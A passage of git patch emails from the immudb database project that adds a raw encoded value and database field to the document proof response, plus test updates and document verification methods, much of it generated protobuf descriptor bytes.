0x2a, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, + 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, + 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, + 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, + 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, + 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, + 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, + 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, + 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 64e59bad5d..417b0d1470 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -117,7 +117,8 @@ message DocumentProofRequest { message DocumentProofResponse { uint32 collectionId = 1; - schema.VerifiableTxV2 verifiableTx = 2; + bytes rawEncodedValue = 2; + schema.VerifiableTxV2 verifiableTx = 3; } message DocumentAuditRequest { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index a371cf67da..16bf1e421c 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -529,6 +529,10 @@ "type": "integer", "format": "int64" }, + "rawEncodedValue": { + "type": "string", + "format": "byte" + }, "verifiableTx": { "$ref": "#/definitions/schemaVerifiableTxV2" } diff --git a/pkg/api/schema/database_protoconv.go b/pkg/api/schema/database_protoconv.go index b7528db1ec..b1bbd326d3 100644 --- a/pkg/api/schema/database_protoconv.go +++ b/pkg/api/schema/database_protoconv.go @@ -221,6 +221,15 @@ func DualProofFromProto(dproof *DualProof) *store.DualProof { } } +func DualProofV2FromProto(dproof *DualProofV2) *store.DualProofV2 { + return &store.DualProofV2{ + SourceTxHeader: TxHeaderFromProto(dproof.SourceTxHeader), + TargetTxHeader: TxHeaderFromProto(dproof.TargetTxHeader), + InclusionProof: DigestsFromProto(dproof.InclusionProof), + ConsistencyProof: DigestsFromProto(dproof.ConsistencyProof), + } +} + func TxHeaderFromProto(hdr *TxHeader) *store.TxHeader { return &store.TxHeader{ ID: hdr.Id, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index f9d4a4bf0b..dbf0ac1edc 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -282,7 +282,8 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque } return &schemav2.DocumentProofResponse{ - CollectionId: collectionID, + CollectionId: collectionID, + RawEncodedValue: docAudit.Value, VerifiableTx: &schema.VerifiableTxV2{ Tx: schema.TxToProto(tx), DualProof: schema.DualProofV2ToProto(dualProof), diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 68ab17ff62..89fcc9a7bb 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -6,6 +6,7 @@ import ( "os" "testing" + "github.com/codenotary/immudb/embedded/document" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" @@ -65,7 +66,7 @@ func TestObjectDB_Collection(t *testing.T) { require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) // add document to collection - _, err = db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ + docRes, err := db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -76,6 +77,7 @@ func TestObjectDB_Collection(t *testing.T) { }, }) require.NoError(t, err) + require.NotNil(t, docRes) // query collection for document docs, err := db.GetDocument(context.Background(), &schemav2.DocumentSearchRequest{ @@ -96,7 +98,7 @@ func TestObjectDB_Collection(t *testing.T) { require.Equal(t, 1, len(docs.Results)) res := docs.Results[0] data := map[string]interface{}{} - err = json.Unmarshal([]byte(res.Fields["_obj"].GetStringValue()), &data) + err = json.Unmarshal([]byte(res.Fields[document.DocumentBLOBField].GetStringValue()), &data) require.NoError(t, err) require.Equal(t, 123.0, data["pincode"]) } diff --git a/pkg/database/meta.go b/pkg/database/meta.go index b76b5805f9..6e927eb434 100644 --- a/pkg/database/meta.go +++ b/pkg/database/meta.go @@ -35,7 +35,7 @@ const ( ReferenceValuePrefix ) -//WrapWithPrefix ... +// WrapWithPrefix ... func WrapWithPrefix(b []byte, prefix byte) []byte { wb := make([]byte, 1+len(b)) wb[0] = prefix From 41760feff16cd232316890559bad228cddbdffdb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 10 Apr 2023 23:24:34 -0300 Subject: [PATCH 0412/1062] chore(pkg/database): check encoded value is consistent with raw document Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database_test.go | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 89fcc9a7bb..1a2bc52246 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -66,15 +66,17 @@ func TestObjectDB_Collection(t *testing.T) { require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) // add document to collection - docRes, err := db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ - Collection: collectionName, - Document: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 123}, - }, + rawDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 123}, }, }, + } + + docRes, err := db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ + Collection: collectionName, + Document: rawDoc, }) require.NoError(t, err) require.NotNil(t, docRes) From 29803cbd3b84508ab7d104d27fc669ade52ed88d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 07:49:16 -0300 Subject: [PATCH 0413/1062] chore(pkg/verfication): document verification methods Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 2 + pkg/api/documentschema/docs.md | 1 + pkg/api/documentschema/documentschema.pb.go | 488 +++++++++--------- pkg/api/documentschema/documentschema.proto | 7 +- .../documentschema.swagger.json | 3 + pkg/database/document_database.go | 1 + pkg/database/document_database_test.go | 13 + pkg/verification/verification.go | 211 ++++++++ 8 files changed, 484 insertions(+), 242 deletions(-) create mode 100644 pkg/verification/verification.go diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 72211e341e..51a3cdae1c 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -107,6 +107,8 @@ var ErrUnsupportedTxHeaderVersion = errors.New("missing tx header serialization var ErrIllegalTruncationArgument = fmt.Errorf("%w: invalid truncation info", ErrIllegalArguments) var ErrTxNotPresentInMetadata = errors.New("tx not present in metadata") +var ErrInvalidProof = errors.New("invalid proof") + const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index b088752f48..2c4a27c5fa 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -367,6 +367,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | +| database | [string](#string) | | | | collectionId | [uint32](#uint32) | | | | rawEncodedValue | [bytes](#bytes) | | | | verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 6e34e01937..9b4bf21a70 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -767,9 +767,10 @@ type DocumentProofResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - CollectionId uint32 `protobuf:"varint,1,opt,name=collectionId,proto3" json:"collectionId,omitempty"` - RawEncodedValue []byte `protobuf:"bytes,2,opt,name=rawEncodedValue,proto3" json:"rawEncodedValue,omitempty"` - VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,3,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` + Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` + CollectionId uint32 `protobuf:"varint,2,opt,name=collectionId,proto3" json:"collectionId,omitempty"` + RawEncodedValue []byte `protobuf:"bytes,3,opt,name=rawEncodedValue,proto3" json:"rawEncodedValue,omitempty"` + VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,4,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } func (x *DocumentProofResponse) Reset() { @@ -804,6 +805,13 @@ func (*DocumentProofResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{9} } +func (x *DocumentProofResponse) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + func (x *DocumentProofResponse) GetCollectionId() uint32 { if x != nil { return x.CollectionId @@ -1710,254 +1718,256 @@ var file_documentschema_proto_rawDesc = []byte{ 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xa8, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x72, - 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x41, - 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, - 0x66, 0x74, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, - 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, - 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, - 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, - 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, - 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, + 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, + 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, + 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 